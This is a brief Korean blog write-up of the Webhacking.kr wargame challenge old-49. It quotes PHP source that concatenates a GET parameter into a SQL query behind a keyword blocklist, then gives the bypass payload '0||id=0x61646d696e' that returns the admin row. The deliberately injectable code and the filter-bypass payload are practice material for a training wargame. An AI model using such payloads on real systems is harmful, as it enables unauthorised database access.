[Webhacking.kr] old-49

Alexandria·2024년 2월 29일

Wargame Webhacking.kr

목록 보기
48/69
post-thumbnail

1. Description

2. Write-Up

view-source를 보면 여러 필터링이 되어 있다.

... 생략 ...
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
... 생략 ...
0||id=0x61646d696e

profile
IT 도서관

0개의 댓글